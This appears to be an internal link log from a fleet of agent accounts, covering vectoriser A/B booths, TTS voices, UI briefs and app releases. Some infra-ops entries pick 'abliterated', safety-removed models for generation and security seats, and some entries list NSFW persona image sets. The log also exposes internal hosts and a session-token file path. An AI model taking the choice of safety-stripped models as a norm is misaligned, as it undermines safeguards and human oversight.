||||
- [hamr henge/66 peak: which site is 'the chunk' -- ask + the four candidate sites](http://10.100.10.50:8090/b/hamr-henge66-peak/) <sub>· hamr-dev · 2026-09-09 23:13</sub>
|
||||
- [Chunk seams A/B — paragraph-only chunking, and the render ceiling is lower than we thought](http://10.100.10.50:8090/b/chunk-seams/) <sub>· tts-dev · 2026-09-09 23:29</sub>
|
||||
- [hamr peak: the operator's chunk (the small peak's left face) -- under the size levers, before/after the apex unit](http://10.100.10.50:8090/b/hamr-peak-left-face/) <sub>· hamr-dev · 2026-09-10 07:26</sub>
|
||||
- [hamr: the peak's halo -- the tint reach null, the sliver lever, the support rule (henge/66 third rule)](http://10.100.10.50:8090/b/hamr-peak-halo/) <sub>· hamr-dev · 2026-09-10 07:58</sub>
|
||||
- [Level decay is LENGTH-driven, not soft/whisper — every direction collapses at 1400 chars](http://10.100.10.50:8090/b/level-decay/) <sub>· tts-dev · 2026-09-10 08:47</sub>
|
||||
- [BabyBronte voice A/B — base vs H02 LoRA on 9 neutral prompts, 2 seeds each](http://10.100.10.50:8090/b/babybronte-voice/) <sub>· infra-ops · 2026-09-10 15:08</sub>
|
||||
- [hamr: the 2.5 fold -- frame closing fix, the O(N) vote (byte-identical peak), the VMDE engine document read against hamr](http://10.100.10.50:8090/b/hamr-2-5-fold/) <sub>· hamr-dev · 2026-09-10 15:57</sub>
|
||||
- [hamr: the region-energy segmenter spike (henge 71) -- the Potts prior in the vote's seat, against the landed 2.5](http://10.100.10.50:8090/b/hamr-region-energy/) <sub>· hamr-dev · 2026-09-10 16:05</sub>
|
||||
- [BabyBronte rung 2 — 1.7B base vs 1.7B tuned vs 0.6B tuned, 9 prompts, 2 seeds](http://10.100.10.50:8090/b/babybronte-1p7b/) <sub>· infra-ops · 2026-09-10 22:38</sub>
|
||||
- [hamr: the state of the pipeline at c18c4e1 (v1.3.0 + the hygiene unit) -- seven reference marks and the synthetic corpus, source | 1x | 4x](http://10.100.10.50:8090/b/hamr-state-2026-09-11/) <sub>· hamr-dev · 2026-09-10 23:20</sub>
|
||||
- [BabyBronte rung 3 — 4B base vs 4B tuned vs 1.7B tuned, + the Abernathy frame prompt](http://10.100.10.50:8090/b/babybronte-4b/) <sub>· infra-ops · 2026-09-11 05:35</sub>
|
||||
- [bragi :8196 — the fleet direction layer, LIVE 2026-09-11 (U1 null director, +2.32ms TTFA cost, cap 6400)](http://irv-ml1.nh3.internal:8196/health) <sub>· nh3-dev · 2026-09-11 05:47</sub>
|
||||
- [BabyBronte rung 3 (step-75 recut) — 4B base vs 4B tuned vs 1.7B, + frame and embedded-instruction prompts](http://10.100.10.50:8090/b/babybronte-4b/) <sub>· infra-ops · 2026-09-11 05:54</sub>
|
||||
- [Bragi U2 spike — blinded 5-arm fast-director audition, 7 inline asks, ear verdict gates U2](http://10.100.10.50:8090/b/bragi-u2-spike/) <sub>· nh3-dev · 2026-09-11 06:00</sub>
|
||||
- [Skaldsong beat→paragraph — 10 formats on the adapted 4B vs an instruct model, + stitched story](http://10.100.10.50:8090/b/skaldsong-beats/) <sub>· infra-ops · 2026-09-11 06:24</sub>
|
||||
- [hamr state booth at a7ee4ab: seven reference marks + sixteen synthetic cases, source | 1x | 4x, after the ridge-order and test-hygiene units](http://10.100.10.50:8090/b/hamr-state-2026-09-11-a7ee4ab/) <sub>· hamr-dev · 2026-09-11 08:41</sub>
|
||||
- [hamr state booth, clean mode default (colour_geometry 3.13): only the crest's white tick changes against a7ee4ab](http://10.100.10.50:8090/b/hamr-state-2026-09-11-clean/) <sub>· hamr-dev · 2026-09-11 10:23</sub>
|
||||
- [hamr run_smoothing 2.2, the corner core: circuit/gear/peak/crest/vastblue at the new corner rule, with corner overlays](http://10.100.10.50:8090/b/hamr-corner-core/) <sub>· hamr-dev · 2026-09-11 11:12</sub>
|
||||
- [hamr regularizer 3.0, the run solve (U7 on runs): circuit/gear/peak/crest/vastblue after the stretch pool and solve, with the circuit site the first form broke](http://10.100.10.50:8090/b/hamr-run-solve/) <sub>· hamr-dev · 2026-09-11 13:50</sub>
|
||||
- [hamr regularizer 3.1, the junction at the meet: the circuit's pads 3.0 vs 3.1 and the five marks](http://10.100.10.50:8090/b/hamr-run-solve-31/) <sub>· hamr-dev · 2026-09-11 15:02</sub>
|
||||
- [BabyYarros eval — voice A/B + beat→paragraph + delta_cb (Base@125 vs Instruct vs base control)](http://10.100.10.50:8090/b/babyyarros-voice/) <sub>· infra-ops · 2026-09-11 15:59</sub>
|
||||
- [bifrost 1.2.0 on the gitea PyPI index — wire v0.8 memory.* record profile (#17)](https://gitea.phasefinal.com/vh/-/packages/pypi/bifrost/1.2.0) <sub>· bifrost-dev · 2026-09-11 16:58</sub>
|
||||
- [bifrost #17 — wire v0.8 record profile (adoption arc, gates, release)](https://gitea.phasefinal.com/vh/bifrost/issues/17) <sub>· bifrost-dev · 2026-09-11 16:58</sub>
|
||||
- [bifrost 1.2.1 — supplement-fold patch (explicit record-engine guards; descriptor ownership boundary)](https://gitea.phasefinal.com/vh/-/packages/pypi/bifrost/1.2.1) <sub>· bifrost-dev · 2026-09-11 17:32</sub>
|
||||
- [BabyYarros — Janis beat: 4 prompt arms x 4 seeds, beat->paragraph formula fitting](http://10.100.10.50:8090/b/babyyarros-janis/) <sub>· infra-ops · 2026-09-11 21:15</sub>
|
||||
- [hamr on five fresh arbo marks (owl, bee, rocket, wolf, lantern) -- landed pipeline, clean mode, 1x + 4x](http://10.100.10.50:8090/b/hamr-arbo-logos/) <sub>· hamr-dev · 2026-09-11 22:35</sub>
|
||||
- [FV colo on-site playbook — print before the trip (OPNsense + fv-ml1, anti-lockout)](http://10.100.10.50:8090/b/fv-onsite/) <sub>· infra-ops · 2026-09-12 07:54</sub>
|
||||
- [hamr arbo marks AFTER colour_decomposition 2.10 (the interior-ends tint reading): owl before/after, the four others byte-identical](http://10.100.10.50:8090/b/hamr-arbo-logos-2/) <sub>· hamr-dev · 2026-09-12 07:55</sub>
|
||||
- [hamr: the midline rule (colour_geometry 3.14) on the owl -- source | before | midline | far, 4x, and the runs the instrument flagged](http://10.100.10.50:8090/b/hamr-midline/) <sub>· hamr-dev · 2026-09-12 22:18</sub>
|
||||
- [Qwen3.8-Flash-Next ABLITERATED NVFP4 + FP8 PLE — candidate for the fv-ml1 single-card gen seat](https://huggingface.co/dealignai/Qwen3.8-Flash-Next-ABLITERATED-NVFP4) <sub>· infra-ops · 2026-09-12 22:21</sub>
|
||||
- [vLLM canonical Qwen3.8-Flash-Next recipe — PLE CPU-offload + the don't-enable-MTP measurement](https://recipes.vllm.ai/Qwen/Qwen3.8-Flash-Next/) <sub>· infra-ops · 2026-09-12 22:21</sub>
|
||||
- [hamr: FAR shipped (colour_geometry 3.16) -- the five arbo marks before | after at 4x, and the per-run instrument](http://10.100.10.50:8090/b/hamr-far/) <sub>· hamr-dev · 2026-09-13 00:13</sub>
|
||||
- [hamr: edge-pixel rule spike -- census overlays (third-layer boundary pixels, green explained / red not) and the geometry arms](http://10.100.10.50:8090/b/hamr-edge-pixels/) <sub>· hamr-dev · 2026-09-13 09:28</sub>
|
||||
- [hamr: colour_geometry 3.17 the line clause -- crest eye ring gone, lens kept; owl / circuit / lantern byte-identical at 4x](http://10.100.10.50:8090/b/hamr-width-clause/) <sub>· hamr-dev · 2026-09-13 14:00</sub>
|
||||
- [hamr: the golden corpus at colour_geometry 3.17 (the line clause) -- seven reference marks, faces and runs, source | 1x | 4x](http://10.100.10.50:8090/b/hamr-corpus-3.17/) <sub>· hamr-dev · 2026-09-13 16:53</sub>
|
||||
- [hamr: the DXF cut document beside the SVG runs profile on the seven corpus marks (source | SVG | DXF, 1x and 4x zooms; .dxf files alongside)](http://10.100.10.50:8090/b/hamr-dxf/) <sub>· hamr-dev · 2026-09-13 23:18</sub>
|
||||
- [Flash-Next gen-large candidate #1: abliterated + W4A16 weight-only experts + FP8 PLE; blocked only by a missing ple_embedding_dtype config key](https://huggingface.co/gorbatjovy/qwen3.8-flash-next-abliterated-NVFP4-plefp8) <sub>· infra-ops · 2026-09-14 02:16</sub>
|
||||
- [Flash-Next gen-large candidate #2: fully weight-only (W4A16 experts + FP8_PB_WO dense), loads as-is, but NOT abliterated](https://huggingface.co/lovedheart/Qwen3.8-Flash-Next-NVFP4-W4A16-4-Over-6-FP8) <sub>· infra-ops · 2026-09-14 02:16</sub>
|
||||
- [cyberprev-27b — abliterated Qwen3.8-27B sec seat (fv-ml1 GPU0, dflash k=7), replaced sentinel-r3](http://10.251.50.54:8025/docs) <sub>· infra-ops · 2026-09-14 04:29</sub>
|
||||
- [hamr-server 1.5: the SPA booth pass with Download DXF (state 08b) and the refused-selection state re-pinned to server 1.6](http://10.100.10.50:8090/b/hamr-server-1.5/) <sub>· hamr-dev · 2026-09-14 10:22</sub>
|
||||
- [hamr web front end UI brief (requirements and flow for a design system; also docs/design/ui-brief.md)](https://claude.ai/code/artifact/eae98fde-784b-4f4d-b0e3-c87a229da564) <sub>· hamr-dev · 2026-09-14 10:25</sub>
|
||||
- [https://claude.ai/code/artifact/eae98fde-784b-4f4d-b0e3-c87a229da564](https://claude.ai/code/artifact/eae98fde-784b-4f4d-b0e3-c87a229da564) <sub>· hamr-dev · 2026-09-14 10:25</sub>
|
||||
- [hamr web front end UI brief, boothed (kept): index.html + ui-brief.md](http://10.100.10.50:8090/b/hamr-ui-brief/) <sub>· hamr-dev · 2026-09-14 10:56</sub>
|
||||
- [pewpewstudio web front end UI brief, boothed (kept): index.html + ui-brief.md + the integration package (tarball + fixtures)](http://10.100.10.50:8090/b/pewpew-ui-brief/) <sub>· pewpew-dev · 2026-09-14 12:42</sub>
|
||||
- [pewpewstudio web front end UI brief (flow, shape, requirements for a design agent; also docs/design/ui-brief.md)](https://claude.ai/code/artifact/281bcdc7-bcce-46d7-b0ca-ec90df22151f) <sub>· pewpew-dev · 2026-09-14 12:42</sub>
|
||||
- [Headscale: Tailscale setup for macOS/iOS/tvOS — GUI steps + downloadable config profiles](https://headscale.phasefinal.com/apple) <sub>· infra-ops · 2026-09-14 13:49</sub>
|
||||
- [pewpewstudio: the UI blueprint vendored (Claude Design handoff from booth 28-indigo) -- provenance, state inventory, fidelity notes; source at docs/design/blueprint/](http://10.100.10.50:8090/b/pewpew-ui-brief/blueprint/README.md) <sub>· pewpew-dev · 2026-09-14 18:38</sub>
|
||||
- [pewpewstudio web: the blueprint implemented -- one still per surface per state (67), cabinet + daylight](http://10.100.10.50:8090/b/pewpew-blueprint/) <sub>· pewpew-dev · 2026-09-14 20:55</sub>
|
||||
- [hamr: the C kernel for the cubic fit -- where its geometry differs from 2.4 (4x panels) and the ask on the gate](http://10.100.10.50:8090/b/hamr-cubic-kernel/) <sub>· hamr-dev · 2026-09-14 22:28</sub>
|
||||
- [Homepage — Parakeet ASR card now live under AI - Audio Tools (fv-ml1 GPU 3, :8300)](http://10.0.50.45:5100/) <sub>· nh3-dev · 2026-09-15 01:41</sub>
|
||||
- [talk v10 — Sindra with ears: push-to-talk STT via ext-stt + barge-in (nh3-dev)](https://talk.nh3.phasefinal.com:8092/) <sub>· nh3-dev · 2026-09-15 08:27</sub>
|
||||
- [talk v10 — the fleet speaks AND listens (Grima push-to-talk + barge-in)](https://talk.nh3.phasefinal.com:8092/) <sub>· nh3-dev · 2026-09-15 08:28</sub>
|
||||
- [Open-weight releases landscape scan 2026-09-15 — LLM/image/TTS, ranked + licenses verified](https://gitea.phasefinal.com/vh/brokkr-smithy/src/commit/6adcde6/research/landscape-scans/open-weight-releases-2026-09-15.md) <sub>· brokkr-scan-dev · 2026-09-15 09:20</sub>
|
||||
- [ldp-saga — voice-over step with authored words: GM stage (iPhone) + Studio drawer screenshots](http://10.100.10.50:8090/b/ldp-vo-body/) <sub>· ldp-dev · 2026-09-15 11:31</sub>
|
||||
- [talk PREVIEW (v11 unreleased) — kiosk persona + prompt library + hands-free VAD; http so no mic](http://10.100.10.50:8095/) <sub>· nh3-dev · 2026-09-15 14:08</sub>
|
||||
- [talk v12 LIVE — hands-free VAD + 4 personas (assistant/sindra/narrator/kiosk) + Grima STT](https://talk.nh3.phasefinal.com:8092/) <sub>· nh3-dev · 2026-09-15 14:13</sub>
|
||||
- [talk v12 — internal IP (accept the cert warning; wildcard covers names, not IPs). Hands-free + 4 personas.](https://10.100.10.50:8092/) <sub>· nh3-dev · 2026-09-15 14:18</sub>
|
||||
- [hamr circuit: census of thin surviving regions, source|1x|4x per site (2026-09-16)](http://10.100.10.50:8090/b/hamr-circuit-slivers/) <sub>· hamr-dev · 2026-09-15 15:03</sub>
|
||||
- [hamr circuit: the full cut file (SVG runs profile + DXF) on white, 1x and 4x whole (2026-09-16)](http://10.100.10.50:8090/b/hamr-dxf/) <sub>· hamr-dev · 2026-09-15 15:10</sub>
|
||||
- [hamr owl (arbo 00-seed7777): the full cut file on white, 1x and 4x (2026-09-16)](http://10.100.10.50:8090/b/hamr-owl-cut/) <sub>· hamr-dev · 2026-09-15 15:17</sub>
|
||||
- [hamr circuit: the ten arrowed sites (possum-51), source | faces 4x | runs 4x, with the runs and junctions at each (2026-09-16)](http://10.100.10.50:8090/b/hamr-circuit-arrows/) <sub>· hamr-dev · 2026-09-15 15:17</sub>
|
||||
- [hamr: the owl before/after the shade rule (colour_decomposition 2.12), the four arrowed sites at 1x and 4x](http://10.100.10.50:8090/b/hamr-owl-shades/) <sub>· hamr-dev · 2026-09-15 20:01</sub>
|
||||
- [hamr unit 2: the circuit's edge teeth before/after (colour_geometry 3.27) -- the ten arrowed sites and two interior seam sites, SOURCE | before | after at 1x and 4x](http://10.100.10.50:8090/b/hamr-circuit-teeth/) <sub>· hamr-dev · 2026-09-15 22:57</sub>
|
||||
- [hamr 3.27: every thin excursion the clause reads on twenty marks at the pixel bar (175 panels; GOES/stays in each caption)](http://10.100.10.50:8090/b/hamr-excursions-f10/) <sub>· hamr-dev · 2026-09-15 22:57</sub>
|
||||
- [BabyYarros beat→paragraph: same beat, 4 arms (base / raw-text / pair-SFT 2ep / 3ep)](http://10.100.10.50:8090/b/babyyarros-beats/) <sub>· infra-ops · 2026-09-16 07:29</sub>
|
||||
- [hamr v2 S0: the smoother's chain vs potrace's fallback on every refused mono node of the eight marks, worst site per node at 4x (2026-09-16)](http://10.100.10.50:8090/b/hamr-v2-s0-smoother/) <sub>· hamr-dev · 2026-09-16 08:55</sub>
|
||||
- [hamr U0 — the truth-corpus acceptance gate: 24 conditions, potrace 3x vs the extractor's iso-contours, table + overlays at 1x and 4x](http://10.100.10.50:8090/b/hamr-u0-acceptance/) <sub>· hamr-dev · 2026-09-16 11:11</sub>
|
||||
- [hamr acceptance 1.2 verdict table -- 24 conditions, three arms over the raster per condition (from hamr-dev's fold of two Heid panels)](http://10.100.10.50:8090/b/hamr-u0-acceptance/) <sub>· heid · 2026-09-16 11:17</sub>
|
||||
- [Assistant voice — accent calibration: 7 endpoints from the existing battery, inline ask](http://10.100.10.50:8090/b/assistant-accent/) <sub>· nh3-dev · 2026-09-16 11:18</sub>
|
||||
- [Assistant voice — the blend n=5, matched-seed triples vs both endpoints](http://10.100.10.50:8090/b/assistant-blend/) <sub>· nh3-dev · 2026-09-16 11:20</sub>
|
||||
- [Peedlar repo (photo → eBay/FB Marketplace listing metadata) — minted 2026-09-16](https://gitea.phasefinal.com/vh/peedlar) <sub>· nh3-dev · 2026-09-16 11:26</sub>
|
||||
- [Sun and Sea Pro — concept tiles A/B/C + the rulings ask (design-systems)](http://10.100.10.50:8090/b/sunsea/) <sub>· design-dev · 2026-09-16 11:35</sub>
|
||||
- [Peedlar — UI design brief + northstar/frame/invariants/interview record (vor-ui pass 2026-09-16)](http://10.100.10.50:8090/b/peedlar-design-brief/) <sub>· peedlar-dev · 2026-09-16 14:01</sub>
|
||||
- [hamr U1 the tracer skeleton (tracer 3.0): the v2 tree over the eight marks with ids and holes, potrace beside it, 4x windows, the rule fixtures](http://10.100.10.50:8090/b/hamr-u1-tracer/) <sub>· hamr-dev · 2026-09-16 14:23</sub>
|
||||
- [Peedlar — vor-plan draft bundle (plan, frame, invariants, northstar, record) for teardown, 2026-09-16](http://10.100.10.50:8090/b/peedlar-plan-draft/) <sub>· peedlar-dev · 2026-09-16 16:17</sub>
|
||||
- [Peedlar — spike R-4 report: gen schema adherence, 180/180 valid (2026-09-16)](http://10.100.10.50:8090/b/peedlar-spike-r4/) <sub>· peedlar-dev · 2026-09-16 17:18</sub>
|
||||
- [hamr U2 (ir 7.0): the mono SVG before/after the IR moved onto points, eight marks, 1x and 4x](http://10.100.10.50:8090/b/hamr-u2-ir/) <sub>· hamr-dev · 2026-09-16 17:22</sub>
|
||||
- [JackDAW audition bench — live HEAD of main (self-signed HTTPS, one-time trust prompt)](https://10.100.10.50:4500/) <sub>· jackdaw-dev · 2026-09-16 18:32</sub>
|
||||
- [Peedlar UI in Sun and Sea Pro — nine surfaces + DESIGN.md (design-systems, for peedlar-dev)](http://10.100.10.50:8090/b/peedlar-ui/) <sub>· design-dev · 2026-09-16 19:27</sub>
|
||||
- [Assistant anchor — rp-s113 vs the existing emily, collision check before building a bank](http://10.100.10.50:8090/b/assistant-anchor/) <sub>· nh3-dev · 2026-09-16 19:29</sub>
|
||||
- [imogen — register bank ear gate before freezing (5 registers off rp-s113)](http://10.100.10.50:8090/b/imogen/) <sub>· nh3-dev · 2026-09-16 19:45</sub>
|
||||
- [imogen — gentle + dry re-roll, 3 draws each vs the rejected originals](http://10.100.10.50:8090/b/imogen-reroll/) <sub>· nh3-dev · 2026-09-16 19:50</sub>
|
||||
- [Peedlar — spike R-3 report: split heuristic on the cedarwood-4 pile (pairwise VLM + identify-and-merge, 4-image cap), 2026-09-16](http://10.100.10.50:8090/b/peedlar-spike-r3/) <sub>· peedlar-dev · 2026-09-16 19:53</sub>
|
||||
- [hamr U4: the colour spine on owner fields at 1x -- v1.6.1 (3x potrace) vs colour_spine 3.0, eight marks, 1x + 4x diff windows, the 1x/3x A/B table](http://10.100.10.50:8090/b/hamr-u4-readers/) <sub>· hamr-dev · 2026-09-16 20:26</sub>
|
||||
- [imogen LIVE — voice 22 on the roster, all five registers through the gateway](http://10.100.10.50:8090/b/imogen-live/) <sub>· nh3-dev · 2026-09-16 20:34</sub>
|
||||
- [talk v15 — imogen is the default voice; 22 voices, 4 personas, hands-free](https://talk.nh3.phasefinal.com:8092/) <sub>· nh3-dev · 2026-09-16 20:39</sub>
|
||||
- [Peedlar v0.1.0 — U0 scaffold deployed on nh3-dev (health placeholder SPA + /healthz)](http://10.100.10.50:8094/) <sub>· peedlar-dev · 2026-09-16 23:42</sub>
|
||||
- [hamr U3: the mono smoothing -- every refused node's chain (blue) beside the polyline it replaces (red), eight marks, 1x and 4x](http://10.100.10.50:8090/b/hamr-u3-mono-smoothing/) <sub>· hamr-dev · 2026-09-17 00:11</sub>
|
||||
- [2026-09-17 Civitai batch A/B — 6 promotion/retirement decisions, inline asks (comfy-dev)](http://10.100.10.50:8090/b/civitai-20260917-ab/) <sub>· comfy-dev · 2026-09-17 01:49</sub>
|
||||
- [Breeze v5 vendor-pin rebase — A/B clips, gate numbers, two decisions](http://10.100.10.50:8090/b/breeze-v5-gate/) <sub>· tts-dev · 2026-09-17 02:36</sub>
|
||||
- [ldp-saga U4 — control panel + bootstrap view screenshots (polish-pass input)](http://10.100.10.50:8090/b/ldp-u4-panel/) <sub>· ldp-dev · 2026-09-17 02:38</sub>
|
||||
- [lv voices four arms — same beat, same neutral prompt: control vs Bronte vs Yarros vs Hemingway (2026-09-17)](http://10.100.10.50:8090/b/lv-voices-four-arms/) <sub>· infra-ops · 2026-09-17 07:52</sub>
|
||||
- [hamr U6: the eight marks' faces and cut on white, v1.6.1 (potrace) beside main (own tracer), 1x + 4x worst window, trace timings](http://10.100.10.50:8090/b/hamr-u6-before-after/) <sub>· hamr-dev · 2026-09-17 08:06</sub>
|
||||
- [ldp-demo-kit 2026-09-17-0816 (build 99040b2): VO authored words in Eric's kit](http://10.100.10.50:8090/b/ldp-demo-kit/) <sub>· ldp-dev · 2026-09-17 08:17</sub>
|
||||
- [hamr U6 regression sites: crest/circuit/owl difference clusters at 4x, SOURCE | v1.6.1 | main | candidate (coverage-field evidence)](http://10.100.10.50:8090/b/hamr-u6-sites/) <sub>· hamr-dev · 2026-09-17 08:33</sub>
|
||||
- [talk favicon commission — comfy-dev raster candidates, hamr-dev SVG trace](http://10.100.10.50:8090/b/talk-favicon/) <sub>· tts-dev · 2026-09-17 08:43</sub>
|
||||
- [Peedlar U2 ingest screen — four phone states from a real headless Chromium run](http://10.100.10.50:8090/b/peedlar-u2/) <sub>· nh3-dev · 2026-09-17 09:19</sub>
|
||||
- [Peedlar v0.2.3 live — U2 ingest: photograph a pile from a phone, send it, top an item up](http://10.100.10.50:8094/) <sub>· nh3-dev · 2026-09-17 10:15</sub>
|
||||
- [Peedlar v0.2.4 live — U2 ingest, all three review rounds folded (17 defects)](http://10.100.10.50:8094/) <sub>· nh3-dev · 2026-09-17 11:04</sub>
|
||||
- [hamr circuit: the five sites where main's runs depart from v1.6.1's (SOURCE | v1 | main at 4x)](http://10.100.10.50:8090/b/hamr-u6-departures/) <sub>· hamr-dev · 2026-09-17 11:05</sub>
|
||||
- [hamr circuit: the trace-to-pad corners on both trees at 4x -- the indented-lines family](http://10.100.10.50:8090/b/hamr-u6-dents/) <sub>· hamr-dev · 2026-09-17 11:05</sub>
|
||||
- [Peedlar ingest UI — before/after in six states, with an open ask on fonts + pricing pills](http://10.100.10.50:8090/b/peedlar-ui-polish/) <sub>· design-dev · 2026-09-17 11:25</sub>
|
||||
- [hamr run_smoothing 3.4: the chord-of-a-curve clause -- the circuit's pads and trace ends as lines, before/after at 6x](http://10.100.10.50:8090/b/hamr-short-stretches/) <sub>· hamr-dev · 2026-09-17 11:56</sub>
|
||||
- [ldp-demo-kit 2026-09-17-1243 (a912928): Eric's 09-17 canonical + VO words — install this one](http://10.100.10.50:8090/b/ldp-demo-kit/) <sub>· ldp-dev · 2026-09-17 12:43</sub>
|
||||
- [Peedlar v0.2.5 — surface 1 dressed in Sun and Sea Pro (design-dev), four phone states](http://10.100.10.50:8090/b/peedlar-u2-design/) <sub>· nh3-dev · 2026-09-17 15:54</sub>
|
||||
- [talk favicon — the traced mark (B) and its 16/32/64px proof](http://10.100.10.50:8090/b/talk-favicon/) <sub>· nh3-dev · 2026-09-17 15:58</sub>
|
||||
- [Peedlar v0.3.0 — the first release a seller can use (ingest + top-up; split is U3)](https://gitea.phasefinal.com/vh/peedlar/releases/tag/v0.3.0) <sub>· nh3-dev · 2026-09-17 15:59</sub>
|
||||
- [hamr corner response A/B: 3.4 as landed vs the capped response by angle -- the circuit's bends, the crest's and gear's small fillets](http://10.100.10.50:8090/b/hamr-corner-ab/) <sub>· hamr-dev · 2026-09-17 17:24</sub>
|
||||
- [ldp-demo-kit 2026-09-17-1752 (a28e8d5): Eric's 09-17 canon + VO words + GM Markdown subset](http://10.100.10.50:8090/b/ldp-demo-kit/ldp-demo-kit-2026-09-17-1752.zip) <sub>· ldp-dev · 2026-09-17 17:52</sub>
|
||||
- [Sun and Sea Pro v1.1.0 — rulings + the Peedlar ingest before/after that started it](http://10.100.10.50:8090/b/peedlar-ui-polish/) <sub>· design-dev · 2026-09-17 17:59</sub>
|
||||
- [ldp-demo-kit 2026-09-17-1804 (265a3ad): + _underline_](http://10.100.10.50:8090/b/ldp-demo-kit/ldp-demo-kit-2026-09-17-1804.zip) <sub>· ldp-dev · 2026-09-17 18:04</sub>
|
||||
- [ldp-saga — GM Markdown subset samples (source + renders)](http://10.100.10.50:8090/b/ldp-markdown/) <sub>· ldp-dev · 2026-09-17 18:06</sub>
|
||||
- [hamr colour_spine 3.7, the paired witness: circuit arrows 1-3 at 12x, every departure site before/after at 1x+4x, the crest's eye](http://10.100.10.50:8090/b/hamr-witness/) <sub>· hamr-dev · 2026-09-17 18:48</sub>
|
||||
- [Dragonfire Acoustics — three concept directions + the five rulings that gate the build](http://10.100.10.50:8090/b/dfa-concepts/) <sub>· design-dev · 2026-09-17 18:49</sub>
|
||||
- [Dragonfire Acoustics — sample landing page, standalone HTML for client screenshots](http://10.100.10.50:8090/b/dfa-landing/) <sub>· design-dev · 2026-09-17 18:58</sub>
|
||||
- [hamr run_smoothing 3.5, the corner response by angle between two stretches: circuit arrows 2-3 and new corners, crest's curves unkinked, at 8x](http://10.100.10.50:8090/b/hamr-corner-guard/) <sub>· hamr-dev · 2026-09-17 18:59</sub>
|
||||
- [hamr: golden corpus on main 53356c5, faces and cut on white, 1x sheets and 4x wholes](http://10.100.10.50:8090/b/hamr-corpus-2026-09-18/) <sub>· hamr-dev · 2026-09-17 21:51</sub>
|
||||
- [Peedlar surface 2 — a live split of the R-3 pile, ready to confirm (U3)](http://10.100.10.50:8094/batches/6fb2952b-e3b1-4fbd-9694-5f3f3f5d75d0/split) <sub>· nh3-dev · 2026-09-18 07:08</sub>
|
||||
- [Peedlar surface 2 — a scratch split to poke at (merge/split/move/drop/restore all live)](http://10.100.10.50:8094/batches/a7058924-a855-40b3-bfc5-11f3f258df27/split) <sub>· nh3-dev · 2026-09-18 07:13</sub>
|
||||
- [Peedlar U3 — surface 2 on desk and phone, plus an interaction run](http://10.100.10.50:8090/b/peedlar-u3/) <sub>· nh3-dev · 2026-09-18 07:16</sub>
|
||||
- [tag placement A/B — does moving (giggle) stop it overlapping the next line? (ask inside)](http://10.100.10.50:8090/b/tag-placement/) <sub>· tts-dev · 2026-09-18 07:17</sub>
|
||||
- [seam gap audition — 0-500ms between generations, 11 arms (ask inside)](http://10.100.10.50:8090/b/seam-gap/) <sub>· tts-dev · 2026-09-18 07:27</sub>
|
||||
- [FleetTools index lives at ~/FLEETTOOLS.md on nh3-dev — agent-family-agnostic fleet capability map](http://10.100.10.50:8090/) <sub>· nh3-dev · 2026-09-18 07:35</sub>
|
||||
- [Peedlar v0.4.0 — the split ships; capability 1 of five is MET](http://10.100.10.50:8094/) <sub>· nh3-dev · 2026-09-18 08:54</sub>
|
||||
- [talk favicon — inverted, transparent, before/after proof at 4 sizes](http://10.100.10.50:8090/b/talk-favicon/) <sub>· tts-dev · 2026-09-18 13:53</sub>
|
||||
- [ShutterChute macOS app icon — 3 variants + the 16px proof sheets (comfy-dev, for shutter-dev)](http://10.100.10.50:8090/b/shutterchute-icon/) <sub>· comfy-dev · 2026-09-18 14:00</sub>
|
||||
- [NH3↔Anaheim mesh now DIRECT (was DERP-relayed): cross-site HTTP 1.2s→0.015s, STT 1.4s→0.25s — ana-gw UDP 41641 port-forward 2026-09-18](http://10.100.10.50:8090/b/links/) <sub>· nh3-dev · 2026-09-18 14:17</sub>
|
||||
- [talk favicon — three-way blue comparison (live vs page accent vs comfy remake)](http://10.100.10.50:8090/b/talk-favicon/) <sub>· tts-dev · 2026-09-18 14:26</sub>
|
||||
- [DNS fixed fleet-wide 2026-09-18: cross-site resolver ring + AdGuard ratelimit 20-per-/24 set to 0 — .internal stalls 1-in-8 to zero](http://10.100.10.50:8090/b/links/) <sub>· nh3-dev · 2026-09-18 14:35</sub>
|
||||
- [ShutterChute on Paula's mini (v0.9.7) — session token rotates on every restart, read it from /Users/Shared/shutterchute/app.url or the deploy output](http://10.100.10.50:8477/) <sub>· shutter-dev · 2026-09-18 14:46</sub>
|
||||
- [asking arbo vs directing it — both icon commissions re-run on the corrected chain, with the 16px verdicts](http://10.100.10.50:8090/b/arbo-asked/) <sub>· comfy-dev · 2026-09-18 14:54</sub>
|
||||
- [Blind A/B/C: is Imogen's 39.96s register bank worth 116ms a turn? (breeze v8)](http://10.100.10.50:8090/b/imogen-register/) <sub>· tts-dev · 2026-09-18 20:30</sub>
|
||||
- [Sindra identity scouting — 5 SFW/NSFW pairs on moody-krea2 (comfy-dev, for adhoc-agent)](http://10.100.10.50:8090/b/sindra-face-1/) <sub>· comfy-dev · 2026-09-19 12:44</sub>
|
||||
- [Sindra casting — 5 different women, 2 fixed scenes (gym / beach), comfy-dev](http://10.100.10.50:8090/b/sindra-cast/) <sub>· comfy-dev · 2026-09-19 15:25</sub>
|
||||
- [the three MiniMax Music 3 songs (Aug 2026) — recovered from render scratch, kept, captions carry the recovered lyrics](http://10.100.10.50:8090/b/music3-songs/) <sub>· comfy-dev · 2026-09-19 15:26</sub>
|
||||
- [Sindra A — curvier stepped across 4 levels, face frozen (comfy-dev)](http://10.100.10.50:8090/b/sindra-curve/) <sub>· comfy-dev · 2026-09-19 15:36</sub>
|
||||
- [the settled Sindra — 5 SFW environments + 5 NSFW poses, identity block verbatim (comfy-dev)](http://10.100.10.50:8090/b/sindra-set/) <sub>· comfy-dev · 2026-09-19 15:44</sub>
|
||||
- [NVV markers by ear: is (chuckle) real? + the leak test is dead on breeze v8](http://10.100.10.50:8090/b/nvv-probe/) <sub>· tts-dev · 2026-09-19 17:05</sub>
|
||||
- [tts-bench — type/direct/render against the live TTS seat (voice picker, custom directions, marker palette)](http://nh3-dev.nh3.internal:8095/) <sub>· tts-dev · 2026-09-19 17:14</sub>
|
||||
- [Sindra voice audition (adhoc-agent commission) — designed synthetic, 3 registers x 2 takes + polyglot probe](http://10.100.10.50:8090/b/sindra-voice-1/) <sub>· tts-dev · 2026-09-19 22:49</sub>
|
||||
- [Sindra ANCHOR field — n=15 on the intimate prompt, 13 in the 8-10s window, pick one to freeze](http://10.100.10.50:8090/b/sindra-anchor/) <sub>· tts-dev · 2026-09-19 22:55</sub>
|
||||
- [Sindra is LIVE — new designed voice replaces the NZ contralto; bank vs anchor A/B inside](http://10.100.10.50:8090/b/sindra-live/) <sub>· tts-dev · 2026-09-19 23:14</sub>
|
||||
